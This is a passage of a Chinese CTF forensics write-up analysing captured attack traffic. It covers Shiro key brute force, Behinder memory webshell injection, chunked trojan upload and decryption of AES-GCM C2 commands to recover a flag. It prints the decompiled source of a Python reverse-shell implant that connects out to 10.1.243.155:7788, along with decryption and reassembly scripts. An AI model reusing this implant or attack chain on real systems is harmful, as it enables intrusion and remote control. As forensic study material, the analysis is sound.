b'\x8fG\x13\xb5L\xe8\xa0\x17\x17\xd2!Uv\xd5\xf4\xd2^\x8a\x05\xe8K>\xb0\xfb\x9d\x8cXQ0\xce3\x9a\x1at\xa9\t\x97Ol\x91{v\xc8\xab\xe8\xbc4\xd1\x16\x1d\x89QX\x87Tu$\x11B\xb7\xb91\xb0n\x13p:F\x9dQ\xbbP$\n\xd9x\xe4\x16\x97\xf2/\xdb"Hm\xf1\x9eG\r\xe3t\xd8\xfa\xc4VKM\xca\x1d&*\x8e\x01(W' 8: len36: b'\x91\x16\xe4x \x12\x9f"\xcbg!G\xa0N\x18\x17<M\xb6\xb9(\xd2\x8f\x17\x1b\xb4c\x06\x0e9\xbd\xef\xa7\xf4\x15\x88' 9: len31: b'\xc8\xff\xb1\xee\x85]\xcflG\xf1\xd9\xb3O\xf1$tZX\xc5k\xdc\x81G\x18\xef:\x8c\x95\xd99\xf5' {/collapse-item} {/collapse} 最后尝试到GCM发现可能性很大，首先前两个发送的指令长度分别是$\frac{62}{2}=31$个字符和$\frac{60}{2}=30$个字符，如果对应前面发现的测试时惯用的指令pwd和ls，能够对应上剩下28个固定字符，符合GCM的特征。尝试使用GCM解密： import base64 import binascii from Crypto.Cipher import AES key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=") hex_str = """ 1f000000 33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a 24000000 5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c 1e000000 e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234 1f000000 bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f 30000000 be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871 2b000000 2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a 6e000000 8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95 69000000 5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5 24000000 410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6 1f000000 7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4 """.replace('\n', '').replace(' ', '') data = binascii.unhexlify(hex_str) i = 0 chunk_idx = 0 while i < len(data): length = int.from_bytes(data[i:i+4], 'little') i += 4 chunk = data[i:i+length] i += length nonce = chunk[:12] ciphertext = chunk[12:-16] tag = chunk[-16:] cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) plaintext = cipher.decrypt_and_verify(ciphertext, tag) print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}") chunk_idx += 1 得到： 0: len3: b'pwd' 1: len8: b'/var/tmp' 2: len2: b'ls' 3: len3: b'out' 4: len20: b'echo Congratulations' 5: len15: b'Congratulations' 6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi' 8: len8: b'echo bye' 9: len3: b'bye' 将3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi丢进CyberChef，Base58+Base64解密后得到Flag：dart{d9850b27-85cb-4777-85e0-df0b78fdb722} 后续在尝试完整提取并逆向其中分片上传的二进制，因为发现payload本身有个blockIndex，用于索引当前是第几部分。 让AI写了个完整逆向分析Java class并寻找索引和内容并拼接输出的脚本： import os import re import base64 import subprocess import concurrent.futures from Crypto.Cipher import AES # --- 配置区 --- KEY = b"1f2c8075acd3d118" DIR = "export" # Wireshark 导出的 HTTP 对象所在文件夹 OUTPUT = "real_out.elf" # 最终合并生成的文件 CFR_JAR_PATH = "cfr.jar" # 替换为你下载的 cfr.jar 的实际文件名 MAX_WORKERS = 16 # 线程数：你可以根据 CPU 核心数调大，比如 16、32 def decrypt_to_class(data): try: cipher = AES.new(KEY, AES.MODE_ECB) dec = cipher.decrypt(base64.b64decode(data)) return dec[:-dec[-1]] except Exception: return b"" def decompile_and_extract(class_file_path): try: result = subprocess.run( ['java', '-jar', CFR_JAR_PATH, class_file_path], capture_output=True, text=True, check=True ) source_code = result.stdout index_pattern = r'blockIndex\s*(?:\+?=|=\s*(?:this\.)?blockIndex\s*\+)\s*"(\d+)"' content_pattern = r'content\s*(?:\+?=|=\s*(?:this\.)?content\s*\+)\s*"([A-Za-z0-9+/=]+)"' index_match = re.search(index_pattern, source_code) content_match = re.search(content_pattern, source_code) if index_match and content_match: return int(index_match.group(1)), content_match.group(1) except Exception as e: pass return None, None def process_single_file(fname): """ 单个线程执行的任务：读取、解密、写临时文件、反编译、提取、清理临时文件 """ path = os.path.join(DIR, fname) with open(path, "rb") as f: body = f.read().strip() java_class_bytes = decrypt_to_class(body) if java_class_bytes.startswith(b"\xca\xfe\xba\xbe"): # 确保每个线程的临时文件名唯一，防止冲突 temp_class = f"temp_{fname}.class" with open(temp_class, "wb") as f: f.write(java_class_bytes) block_idx, content_b64 = decompile_and_extract(temp_class) # 清理临时文件 if os.path.exists(temp_class): os.remove(temp_class) if block_idx is not None and content_b64 is not None: try: actual_chunk = base64.b64decode(content_b64) return block_idx, actual_chunk, fname except Exception as e: return None, f"解码异常: {e}", fname return None, "无效的 Class 或解密失败", fname def main(): files = [f for f in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, f))] print(f"[*] 找到 {len(files)} 个文件。启动 {MAX_WORKERS} 个线程疯狂反编译中...") chunks_dict = {} # 启动线程池 with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor: # 提交所有任务 future_to_file = {executor.submit(process_single_file, fname): fname for fname in files} # as_completed 会在某个线程完成时立刻 yield，可以实时看到进度 for future in concurrent.futures.as_completed(future_to_file): block_idx, result_data, fname = future.result() if block_idx is not None: chunks_dict[block_idx] = result_data print(f"[+] {fname} -> 提取成功: 块索引 [{block_idx}]") elif "无效" not in result_data: # 过滤掉非目标流量的报错干扰，只打印真的出错了的 print(f"[-] {fname} -> 提取失败: {result_data}") if not chunks_dict: print("\n[-] 未提取到任何有效数据块。") return print(f"\n[*] 所有 {len(chunks_dict)} 块提取完毕。开始按 blockIndex 精准重组...") sorted_indices = sorted(chunks_dict.keys()) with open(OUTPUT, "wb") as f: for idx in sorted_indices: print(f"[*] 写入块索引 [{idx}]") f.write(chunks_dict[idx]) print(f"[!] 完美重组完成！生成文件：{OUTPUT}") if __name__ == "__main__": main() 发现是一个Pyinstaller打包的elf。解压，逆向其中的inspect.pyc，得到： # Visit https://www.lddgo.net/string/pyc-compile-decompile for more information # Version : Python 3.9 import os import socket import struct import subprocess import argparse import settings import base64 from cryptography.hazmat.primitives.ciphers.aead import AESGCM SERVER_LISTEN_IP = '10.1.243.155' SERVER_LISTEN_PORT = 7788 IMPLANT_CONNECT_IP = '10.1.243.155' IMPLANT_CONNECT_PORT = 7788 SERVER_LISTEN_NUM = 20 _aesgcm = None def set_aes_key(key_b64 = None): global _aesgcm key = base64.b64decode(key_b64) if len(key) not in (16, 24, 32): raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节（对应 128, 192, 256 位）') _aesgcm = None(key) def encrypt_data(data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') nonce = None.urandom(12) ciphertext = _aesgcm.encrypt(nonce, data, None) return nonce + ciphertext def decrypt_data(encrypted_data = None): if _aesgcm is None: raise RuntimeError('AES 密钥未初始化，请先调用 set_aes_key()') if None(encrypted_data) < 28: raise ValueError('加密数据太短，无法包含 nonce 和认证标签') nonce = None[:12] ciphertext_with_tag = encrypted_data[12:] plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None) return plaintext def exec_cmd(command, code_flag): command = command.decode('utf-8') # WARNING: Decompyle incomplete def send_data(conn, data): if type(data) == str: data = data.encode('utf-8') encrypted_data = settings.encrypt_data(data) cmd_len = struct.pack('i', len(encrypted_data)) conn.send(cmd_len) conn.send(encrypted_data) def recv_data(sock, buf_size = (1024,)): x = sock.recv(4) all_size = struct.unpack('i', x)[0] recv_size = 0 encrypted_data = b'' if recv_size < all_size: encrypted_data += sock.recv(buf_size) recv_size += buf_size continue data = settings.decrypt_data(encrypted_data) return data def main(): sock = socket.socket() sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT)) code_flag = 'gbk' if os.name == 'nt' else 'utf-8' # WARNING: Decompyle incomplete if __name__ == '__main__': parser = argparse.ArgumentParser('', **('description',)) parser.add_argument('--aes-key', True, '', **('required', 'help')) args = parser.parse_args() settings.set_aes_key(args.aes_key) main() 也证明了猜想，确实是GCM （不过这一看就是ai出的罢） 梳理 完整的链条应该是这样的： sequenceDiagram participant Attacker as 攻击者 (Attacker / C2 Server) participant WebServer as Web 应用层 (Shiro / Behinder WebShell) participant OS as 底层系统 (Linux OS) rect rgb(240, 248, 255) note right of Attacker: 阶段一：Shiro 漏洞利用与 RCE Attacker->>WebServer: 持续爆破 rememberMe Cookie (CVE-2016-4437) WebServer-->>Attacker: 302 跳转 (爆破成功获取 AES Key) Attacker->>WebServer: 发送 RCE Payload (Authorization头传递命令) WebServer->>OS: 派生进程执行命令 (whoami, ls -la 等) OS-->>WebServer: 返回标准输出结果 (root 等) WebServer-->>Attacker: 返回 Base64 加密的命令结果 end rect rgb(255, 240, 245) note right of Attacker: 阶段二：注入内存马与后渗透探测 Attacker->>WebServer: POST 请求注入 Behinder(冰蝎) 内存马 WebServer-->>Attacker: 返回注入成功标识 (->|Success|<-) Attacker->>WebServer: 访问 /favicondemo.ico 发送 AES 加密的 Java Class WebServer->>OS: 读取环境变量、网络信息、遍历 /tmp 与 /var/tmp 目录 OS-->>WebServer: 返回底层系统状态和文件列表 WebServer-->>Attacker: 返回 AES 加密的探测结果 end rect rgb(240, 255, 240) note right of Attacker: 阶段三：分片上传与执行持久化木马 Attacker->>WebServer: 多次发包分片上传二进制 ELF 木马 WebServer->>OS: 将 Payload 块追加写入 /var/tmp/out Attacker->>WebServer: 发送 Hash 校验请求 WebServer->>OS: 计算落地文件 /var/tmp/out 的 MD5 Hash OS-->>WebServer: 校验通过 WebServer-->>Attacker: 返回 Hash 值确认文件完整性 Attacker->>WebServer: 发送命令 chmod +x out 及 ./out --aes-key ... WebServer->>OS: 赋予执行权限并带密钥参数运行木马程序 end rect rgb(255, 253, 230) note right of Attacker: 阶段四：TCP 反连与深层控制 OS->>Attacker: Pyinstaller 木马向 C2 发起 TCP 反向连接 (10.1.243.155:7788) Attacker->>OS: 发送基于 AES-GCM 加密的指令 (pwd, ls, echo) OS-->>Attacker: 返回加密的执行结果 (最终输出 Flag) end 阶段一：Shiro 漏洞利用与 RCE 验证 攻击者通过发送包含 rememberMe Cookie 的 GET 请求，成功爆破出 Apache Shiro 的 AES 密钥。 随后，攻击者利用 Authorization 头传递加密命令，Web 服务器执行了 whoami 等命令，并返回了 Base64 加密的执行结果 root。 阶段二：植入内存 WebShell 与初步控制 攻击者向 / 路径发送携带 Java 类的 POST 请求，成功注入冰蝎（Behinder）内存马，并将 C2 通信信道建立在 /favicondemo.ico 路径上。 攻击者通过该信道下发经过 AES 加密的 Java Class，利用 Web 服务层读取了底层系统的环境变量、IP 信息（172.18.0.2），并执行了基础系统命令（如 ps -ef）。 阶段三：恶意木马上传与落地执行 攻击者通过 WebShell，利用 blockIndex 和 blockSize 参数将一个 ELF 二进制文件分片追加写入到系统的 /var/tmp/out 路径下，并进行了 Hash 校验（a0275c1593af1adb）。 攻击者下发 Shell 命令 chmod +x out 赋予文件执行权限，并通过 ./out --aes-key ... 在底层系统运行了该木马。 阶段四：TCP 反连获取 Flag 底层的 Python 恶意木马运行后，直接绕过 Web 层面，主动向攻击者的 C2 服务器（10.1.243.155:7788）发起 TCP 连接。 双方切换至 AES-GCM 算法进行通信，攻击者下发 pwd、ls、echo Congratulations 等远控指令，并在最终的回包中获取到了 Flag。 总的来说还是挺有意思（？